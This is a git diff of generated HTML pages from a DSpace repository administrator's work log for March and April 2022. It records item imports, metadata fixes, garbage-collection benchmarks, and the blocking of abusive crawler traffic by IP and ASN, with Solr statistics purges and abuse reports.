                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Gaia sent me her notes on the final review of duplicates of all TAC/ICW documents +
                                                                                                                                                                +
                                                                                                                                                              • I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            or(
                                                                                                                                                            +isNotNull(value.match('33')),
                                                                                                                                                            +isNotNull(value.match('179')),
                                                                                                                                                            +isNotNull(value.match('452')),
                                                                                                                                                            +isNotNull(value.match('489')),
                                                                                                                                                            +isNotNull(value.match('541')),
                                                                                                                                                            +isNotNull(value.match('568')),
                                                                                                                                                            +isNotNull(value.match('646')),
                                                                                                                                                            +isNotNull(value.match('889'))
                                                                                                                                                            +)
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported the 692 items on CGSpace, and generated the thumbnails:
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            $ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
                                                                                                                                                            +$ dspace import --add --eperson=umm@fuuu.com --source /tmp/SimpleArchiveFormat --mapfile=./2022-03-29-cgiar-tac.map
                                                                                                                                                            +$ chrt -b 0 dspace filter-media -p "ImageMagick PDF Thumbnail" -i 10947/50
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • After that I did some normalization on the cg.subject.system metadata and extracted a few dozen countries to the country field
                                                                                                                                                            • +
                                                                                                                                                            • Start a harvest on AReS
                                                                                                                                                            • +
                                                                                                                                                            +

                                                                                                                                                            2022-03-30

                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Yesterday Rafael from CIAT asked me to re-create his approver account on DSpace Test as well
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            $ dspace user -a -m tip-approve@cgiar.org -g Rafael -s Rodriguez -p 'fuuuu'
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • I started looking into the request regarding the CIAT Library PDFs +
                                                                                                                                                                +
                                                                                                                                                              • There are over 4,000 links to PDFs hosted on that server in CGSpace metadata
                                                                                                                                                              • +
                                                                                                                                                              • The links seem to be down though! I emailed Paola to ask
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            +

                                                                                                                                                            2022-03-31

                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Switch DSpace Test (linode26) back to CMS GC so I can do some monitoring and evaluation of GC before switching to G1GC
                                                                                                                                                            • +
                                                                                                                                                            • I will do the following for CMS and G1GC on DSpace Test: +
                                                                                                                                                                +
                                                                                                                                                              • Wait for startup
                                                                                                                                                              • +
                                                                                                                                                              • Reload home page
                                                                                                                                                              • +
                                                                                                                                                              • Log in
                                                                                                                                                              • +
                                                                                                                                                              • Do a search for “livestock”
                                                                                                                                                              • +
                                                                                                                                                              • Click AGROVOC facet for livestock
                                                                                                                                                              • +
                                                                                                                                                              • dspace index-discovery -b
                                                                                                                                                              • +
                                                                                                                                                              • dspace-statistics-api index
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            • With CMS the Discovery Index took:
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            real    379m19.245s
                                                                                                                                                            +user    267m17.704s
                                                                                                                                                            +sys     4m2.937s
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • Leroy from CIAT said that the CIAT Library server has security issues so was limited to internal traffic +
                                                                                                                                                                +
                                                                                                                                                              • I extracted a list of URLs from CGSpace to send him:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            • +
                                                                                                                                                            +
                                                                                                                                                            localhost/dspacetest= ☘ \COPY (SELECT DISTINCT(text_value) FROM metadatavalue WHERE metadata_field_id=219 AND text_value ~ 'https?://ciat-library') to /tmp/2022-03-31-ciat-library-urls.csv WITH CSV HEADER;
                                                                                                                                                            +COPY 4552
                                                                                                                                                            +
                                                                                                                                                              +
                                                                                                                                                            • I did some checks and cleanups in OpenRefine because there are some values with “#page” etc +
                                                                                                                                                                +
                                                                                                                                                              • Once I sorted them there were only ~2,700, which means there are going to be almost two thousand items with duplicate PDFs
                                                                                                                                                              • +
                                                                                                                                                              • I suggested that we might want to handle those cases specially and extract the chapters or whatever page range since they are probably books
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                            - @@ -344,9 +476,9 @@
                                                                                                                                                              -
                                                                                                                                                            1. March, 2022
                                                                                                                                                            2. +
                                                                                                                                                            3. April, 2022
                                                                                                                                                            4. -
                                                                                                                                                            5. April, 2022
                                                                                                                                                            6. +
                                                                                                                                                            7. March, 2022
                                                                                                                                                            8. February, 2022
                                                                                                                                                            9. diff --git a/docs/2022-04/index.html b/docs/2022-04/index.html new file mode 100644 index 000000000..b8fe71cc9 --- /dev/null +++ b/docs/2022-04/index.html @@ -0,0 +1,529 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + April, 2022 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
                                                                                                                                                              +
                                                                                                                                                              + +
                                                                                                                                                              +
                                                                                                                                                              + + + + +
                                                                                                                                                              +
                                                                                                                                                              +

                                                                                                                                                              CGSpace Notes

                                                                                                                                                              +

                                                                                                                                                              Documenting day-to-day work on the CGSpace repository.

                                                                                                                                                              +
                                                                                                                                                              +
                                                                                                                                                              + + + + +
                                                                                                                                                              +
                                                                                                                                                              +
                                                                                                                                                              + + + + +
                                                                                                                                                              +
                                                                                                                                                              +

                                                                                                                                                              April, 2022

                                                                                                                                                              + +
                                                                                                                                                              +

                                                                                                                                                              2022-04-01

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I did G1GC tests on DSpace Test (linode26) to compliment the CMS tests I did yesterday +
                                                                                                                                                                  +
                                                                                                                                                                • The Discovery indexing took this long:
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              real    334m33.625s
                                                                                                                                                              +user    227m51.331s
                                                                                                                                                              +sys     3m43.037s
                                                                                                                                                              +

                                                                                                                                                              2022-04-04

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Start a full harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              • Help Marianne with submit/approve access on a new collection on CGSpace
                                                                                                                                                              • +
                                                                                                                                                              • Go back in Gaia’s batch reports to find records that she indicated for replacing on CGSpace (ie, those with better new copies, new versions, etc)
                                                                                                                                                              • +
                                                                                                                                                              • Looking at the Solr statistics for 2022-03 on CGSpace +
                                                                                                                                                                  +
                                                                                                                                                                • I see 54.229.218.204 on Amazon AWS made 49,000 requests, some of which with this user agent: Apache-HttpClient/4.5.9 (Java/1.8.0_322), and many others with a normal browser agent, so that’s fishy!
                                                                                                                                                                • +
                                                                                                                                                                • The DSpace agent pattern http.?agent seems to have caught the first ones, but I’ll purge the IP ones
                                                                                                                                                                • +
                                                                                                                                                                • I see 40.77.167.80 is Bing or MSN Bot, but using a normal browser user agent, and if I search Solr for dns:*msnbot* AND dns:*.msn.com. I see over 100,000, which is a problem I noticed a few months ago too…
                                                                                                                                                                • +
                                                                                                                                                                • I extracted the MSN Bot IPs from Solr using an IP facet, then used the check-spider-ip-hits.sh script to purge them
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-10

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Start a full harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-13

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • UptimeRobot mailed to say that CGSpace was down +
                                                                                                                                                                  +
                                                                                                                                                                • I looked and found the load at 44…
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • There seem to be a lot of locks from the XMLUI:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c | sort -n
                                                                                                                                                              +   3173 dspaceWeb
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Looking at the top IPs in nginx’s access log one IP in particular stands out:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                                  941 66.249.66.222
                                                                                                                                                              +   1224 95.108.213.28
                                                                                                                                                              +   2074 157.90.209.76
                                                                                                                                                              +   3064 66.249.66.221
                                                                                                                                                              +  95743 185.192.69.15
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • 185.192.69.15 is in the UK
                                                                                                                                                              • +
                                                                                                                                                              • I added a block for that IP in nginx and the load went down…
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-16

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Start harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-18

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I woke up to several notices from UptimeRobot that CGSpace had gone down and up in the night (of course I’m on holiday out of the country for Easter) +
                                                                                                                                                                  +
                                                                                                                                                                • I see there are many locks in use from the XMLUI:
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c
                                                                                                                                                              +   8932 dspaceWeb
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Looking at the top IPs making requests it seems they are Yandex, bingbot, and Googlebot:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort | uniq -c | sort -h
                                                                                                                                                              +    752 69.162.124.231
                                                                                                                                                              +    759 66.249.64.213
                                                                                                                                                              +    864 66.249.66.222
                                                                                                                                                              +    905 2a01:4f8:221:f::2
                                                                                                                                                              +   1013 84.33.2.97
                                                                                                                                                              +   1201 157.55.39.159
                                                                                                                                                              +   1204 157.55.39.144
                                                                                                                                                              +   1209 157.55.39.102
                                                                                                                                                              +   1217 157.55.39.161
                                                                                                                                                              +   1252 207.46.13.177
                                                                                                                                                              +   1274 157.55.39.162
                                                                                                                                                              +   2553 66.249.66.221
                                                                                                                                                              +   2941 95.108.213.28
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • One IP is using a stange user agent though:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              84.33.2.97 - - [18/Apr/2022:00:20:38 +0200] "GET /bitstream/handle/10568/109581/Banana_Blomme%20_2020.pdf.jpg HTTP/1.1" 404 10890 "-" "SomeRandomText"
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Overall, it seems we had 17,000 unique IPs connecting in the last nine hours (currently 9:14AM and log file rolled over at 00:00):
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l
                                                                                                                                                              +17314
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • That’s a lot of unique IPs, and I see some patterns of IPs in China making ten to twenty requests each +
                                                                                                                                                                  +
                                                                                                                                                                • The ISPs I’ve seen so far are ChinaNet and China Unicom
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • I extracted all the IPs from today and resolved them:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq > /tmp/2022-04-18-ips.txt
                                                                                                                                                              +$ ./ilri/resolve-addresses-geoip2.py -i /tmp/2022-04-18-ips.txt -o /tmp/2022-04-18-ips.csv
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • The top ASNs by IP are:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ csvcut -c 2 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10 
                                                                                                                                                              +    102 GOOGLE
                                                                                                                                                              +    139 Maxihost LTDA
                                                                                                                                                              +    165 AMAZON-02
                                                                                                                                                              +    393 "China Mobile Communications Group Co., Ltd."
                                                                                                                                                              +    473 AMAZON-AES
                                                                                                                                                              +    616 China Mobile communications corporation
                                                                                                                                                              +    642 M247 Ltd
                                                                                                                                                              +   2336 HostRoyale Technologies Pvt Ltd
                                                                                                                                                              +   4556 Chinanet
                                                                                                                                                              +   5527 CHINA UNICOM China169 Backbone
                                                                                                                                                              +$ csvcut -c 4 /tmp/2022-04-18-ips.csv | sed 1d | sort | uniq -c | sort -n | tail -n 10
                                                                                                                                                              +    139 262287
                                                                                                                                                              +    165 16509
                                                                                                                                                              +    180 204287
                                                                                                                                                              +    393 9808
                                                                                                                                                              +    473 14618
                                                                                                                                                              +    615 56041
                                                                                                                                                              +    642 9009
                                                                                                                                                              +   2156 203020
                                                                                                                                                              +   4556 4134
                                                                                                                                                              +   5527 4837
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I spot checked a few IPs from each of these and they are definitely just making bullshit requests to Discovery and HTML sitemap etc
                                                                                                                                                              • +
                                                                                                                                                              • I will download the IP blocks for each ASN except Google and Amazon and ban them
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ wget https://asn.ipinfo.app/api/text/nginx/AS4837 https://asn.ipinfo.app/api/text/nginx/AS4134 https://asn.ipinfo.app/api/text/nginx/AS203020 https://asn.ipinfo.app/api/text/nginx/AS9009 https://asn.ipinfo.app/api/text/nginx/AS56041 https://asn.ipinfo.app/api/text/nginx/AS9808
                                                                                                                                                              +$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | sort | uniq | wc -l
                                                                                                                                                              +20296
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I extracted the IPv4 and IPv6 networks:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep ":" | sort > /tmp/ipv6-networks.txt
                                                                                                                                                              +$ cat AS* | sed -e '/^$/d' -e '/^#/d' -e '/^{/d' -e 's/deny //' -e 's/;//' | grep -v ":" | sort > /tmp/ipv4-networks.txt
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I suspect we need to aggregate these networks since they are so many and nftables doesn’t like it when they overlap:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ wc -l /tmp/ipv4-networks.txt
                                                                                                                                                              +15464 /tmp/ipv4-networks.txt
                                                                                                                                                              +$ aggregate6 /tmp/ipv4-networks.txt | wc -l
                                                                                                                                                              +2781
                                                                                                                                                              +$ wc -l /tmp/ipv6-networks.txt             
                                                                                                                                                              +4833 /tmp/ipv6-networks.txt
                                                                                                                                                              +$ aggregate6 /tmp/ipv6-networks.txt | wc -l
                                                                                                                                                              +338
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I deployed these lists on CGSpace, ran all updates, and rebooted the server +
                                                                                                                                                                  +
                                                                                                                                                                • This list is SURELY too broad because we will block legitimate users in China… but right now how can I discern?
                                                                                                                                                                • +
                                                                                                                                                                • Also, I need to purge the hits from these 14,000 IPs in Solr when I get time
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • Looking back at the Munin graphs a few hours later I see this was indeed some kind of spike that was out of the ordinary:
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              PostgreSQL connections day +DSpace sessions day

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I used grepcidr with the aggregated network lists to extract IPs matching those networks from the nginx logs for the past day:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | awk '{print $1}' | sort -u > /tmp/ips.log
                                                                                                                                                              +# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv4-ips.txt; done < /tmp/ipv4-networks-aggregated.txt
                                                                                                                                                              +# while read -r network; do grepcidr $network /tmp/ips.log >> /tmp/ipv6-ips.txt; done < /tmp/ipv6-networks-aggregated.txt
                                                                                                                                                              +# wc -l /tmp/ipv4-ips.txt  
                                                                                                                                                              +15313 /tmp/ipv4-ips.txt
                                                                                                                                                              +# wc -l /tmp/ipv6-ips.txt 
                                                                                                                                                              +19 /tmp/ipv6-ips.txt
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Then I purged them from Solr using the check-spider-ip-hits.sh:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ ./ilri/check-spider-ip-hits.sh -f /tmp/ipv4-ips.txt -p
                                                                                                                                                              +

                                                                                                                                                              2022-04-23

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • A handful of spider user agents that I identified were merged into COUNTER-Robots so I updated the ILRI override in our DSpace and regenerated the example file that contains most patterns +
                                                                                                                                                                  +
                                                                                                                                                                • I updated CGSpace, then ran all system updates and rebooted the host
                                                                                                                                                                • +
                                                                                                                                                                • I also ran dspace cleanup -v to prune the database
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-24

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Start a harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-25

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Looking at the countries on AReS I decided to collect a list to remind Jacquie at WorldFish again about how many incorrect ones they have +
                                                                                                                                                                  +
                                                                                                                                                                • There are about sixty incorrect ones, some of which I can correct via the value mappings on AReS, but most I can’t
                                                                                                                                                                • +
                                                                                                                                                                • I set up value mappings for seventeen countries, then sent another sixty or so to Jacquie and Salem to hopefully delete
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • I notice we have over 1,000 items with region Africa South of Sahara +
                                                                                                                                                                  +
                                                                                                                                                                • I am surprised to see these because we did a mass migration to Sub-Saharan Africa in 2020-10 when we aligned to UN M.49
                                                                                                                                                                • +
                                                                                                                                                                • Oh! It seems I used a capital O in Of!
                                                                                                                                                                • +
                                                                                                                                                                • This is curious, I see we missed East Asia and Northern America, because those are still in our list, but UN M.49 uses Eastern Asia and Northern America… I will have to raise that with Peter and Abenet later
                                                                                                                                                                • +
                                                                                                                                                                • For now I will just re-run my fixes:
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ cat /tmp/regions.csv
                                                                                                                                                              +cg.coverage.region,correct
                                                                                                                                                              +East Africa,Eastern Africa
                                                                                                                                                              +West Africa,Western Africa
                                                                                                                                                              +Southeast Asia,South-eastern Asia
                                                                                                                                                              +South Asia,Southern Asia
                                                                                                                                                              +Africa South of Sahara,Sub-Saharan Africa
                                                                                                                                                              +North Africa,Northern Africa
                                                                                                                                                              +West Asia,Western Asia
                                                                                                                                                              +$ ./ilri/fix-metadata-values.py -i /tmp/regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -m 227 -t correct
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Then I started a new harvest on AReS
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              2022-04-27

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I woke up to many up down notices for CGSpace from UptimeRobot +
                                                                                                                                                                  +
                                                                                                                                                                • The server has load 111.0… sigh.
                                                                                                                                                                • +
                                                                                                                                                                +
                                                                                                                                                              • +
                                                                                                                                                              • According to Grafana it seems to have started at 4:00 AM
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              Grafana load

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • There are a metric fuck ton of database locks from the XMLUI:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ psql -c 'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;' | grep -o -E '(dspaceWeb|dspaceApi)' | sort | uniq -c
                                                                                                                                                              +    128 dspaceApi
                                                                                                                                                              +  16890 dspaceWeb
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • As for the server logs, I don’t see many IPs connecting today:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq | wc -l
                                                                                                                                                              +2924
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • But there appear to be some IPs making many requests:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # cat /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h
                                                                                                                                                              +...
                                                                                                                                                              +    345 207.46.13.53
                                                                                                                                                              +    646 66.249.66.222
                                                                                                                                                              +    678 54.90.79.112
                                                                                                                                                              +   1529 136.243.148.249
                                                                                                                                                              +   1797 54.175.8.110
                                                                                                                                                              +   2304 174.129.118.171
                                                                                                                                                              +   2523 66.249.66.221
                                                                                                                                                              +   2632 52.73.204.196
                                                                                                                                                              +   2667 54.174.240.122
                                                                                                                                                              +   5206 35.172.193.232
                                                                                                                                                              +   5646 35.153.131.101
                                                                                                                                                              +   6373 3.85.92.145
                                                                                                                                                              +   7383 34.227.10.4
                                                                                                                                                              +   8330 100.24.63.172
                                                                                                                                                              +   8342 34.236.36.176
                                                                                                                                                              +   8369 44.200.190.111
                                                                                                                                                              +   8371 3.238.116.153
                                                                                                                                                              +   8391 18.232.101.158
                                                                                                                                                              +   8631 3.239.81.247
                                                                                                                                                              +   8634 54.82.125.225
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • 54.82.125.225, 3.239.81.247, 18.232.101.158, 3.238.116.153, 44.200.190.111, 34.236.36.176, 100.24.63.172, 3.85.92.145, 35.153.131.101, 35.172.193.232, 54.174.240.122, 52.73.204.196, 174.129.118.171, 54.175.8.110, and 54.90.79.112 are all on Amazon and using this normal-looking user agent:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.3
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • None of these hosts are re-using their DSpace session ID so they are definitely not normal browsers as they are claiming:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ grep 54.82.125.225 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +5760
                                                                                                                                                              +$ grep 3.239.81.247 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +6053
                                                                                                                                                              +$ grep 18.232.101.158 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +5841
                                                                                                                                                              +$ grep 3.238.116.153 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +5887
                                                                                                                                                              +$ grep 44.200.190.111 dspace.log.2022-04-27 | grep -oE 'session_id=[A-Z0-9]{32}:ip_addr=' | sort | uniq | wc -l
                                                                                                                                                              +5899
                                                                                                                                                              +...
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • And we can see a massive spike in sessions in Munin:
                                                                                                                                                              • +
                                                                                                                                                              +

                                                                                                                                                              Grafana load

                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I see the following IPs using that user agent today:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              # grep 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36' /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c | sort -h
                                                                                                                                                              +    678 54.90.79.112
                                                                                                                                                              +   1797 54.175.8.110
                                                                                                                                                              +   2697 174.129.118.171
                                                                                                                                                              +   2765 52.73.204.196
                                                                                                                                                              +   3072 54.174.240.122
                                                                                                                                                              +   5206 35.172.193.232
                                                                                                                                                              +   5646 35.153.131.101
                                                                                                                                                              +   6783 3.85.92.145
                                                                                                                                                              +   7763 34.227.10.4
                                                                                                                                                              +   8738 100.24.63.172
                                                                                                                                                              +   8748 34.236.36.176
                                                                                                                                                              +   8787 3.238.116.153
                                                                                                                                                              +   8794 18.232.101.158
                                                                                                                                                              +   8806 44.200.190.111
                                                                                                                                                              +   9021 54.82.125.225
                                                                                                                                                              +   9027 3.239.81.247
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • I added those IPs to the firewall and then purged their hits from Solr:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ ./ilri/check-spider-ip-hits.sh -f /tmp/ips.txt -p
                                                                                                                                                              +Purging 6024 hits from 100.24.63.172 in statistics
                                                                                                                                                              +Purging 1719 hits from 174.129.118.171 in statistics
                                                                                                                                                              +Purging 5972 hits from 18.232.101.158 in statistics
                                                                                                                                                              +Purging 6053 hits from 3.238.116.153 in statistics
                                                                                                                                                              +Purging 6228 hits from 3.239.81.247 in statistics
                                                                                                                                                              +Purging 5305 hits from 34.227.10.4 in statistics
                                                                                                                                                              +Purging 6002 hits from 34.236.36.176 in statistics
                                                                                                                                                              +Purging 3908 hits from 35.153.131.101 in statistics
                                                                                                                                                              +Purging 3692 hits from 35.172.193.232 in statistics
                                                                                                                                                              +Purging 4525 hits from 3.85.92.145 in statistics
                                                                                                                                                              +Purging 6048 hits from 44.200.190.111 in statistics
                                                                                                                                                              +Purging 1942 hits from 52.73.204.196 in statistics
                                                                                                                                                              +Purging 1944 hits from 54.174.240.122 in statistics
                                                                                                                                                              +Purging 1264 hits from 54.175.8.110 in statistics
                                                                                                                                                              +Purging 6117 hits from 54.82.125.225 in statistics
                                                                                                                                                              +Purging 486 hits from 54.90.79.112 in statistics
                                                                                                                                                              +
                                                                                                                                                              +Total number of bot hits purged: 67229
                                                                                                                                                              +
                                                                                                                                                                +
                                                                                                                                                              • Then I created a CSV with these IPs and reported them to AbuseIPDB.com:
                                                                                                                                                              • +
                                                                                                                                                              +
                                                                                                                                                              $ cat /tmp/ips.csv
                                                                                                                                                              +IP,Categories,ReportDate,Comment
                                                                                                                                                              +100.24.63.172,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +174.129.118.171,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +18.232.101.158,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +3.238.116.153,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +3.239.81.247,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +34.227.10.4,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +34.236.36.176,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +35.153.131.101,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +35.172.193.232,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +3.85.92.145,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +44.200.190.111,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +52.73.204.196,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +54.174.240.122,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +54.175.8.110,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +54.82.125.225,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +54.90.79.112,4,2022-04-27T04:00:37-10:00,"Excessive automated HTTP requests"
                                                                                                                                                              +
                                                                                                                                                              + + + + + + +
                                                                                                                                                              + + + +
                                                                                                                                                              + + + + +
                                                                                                                                                              +
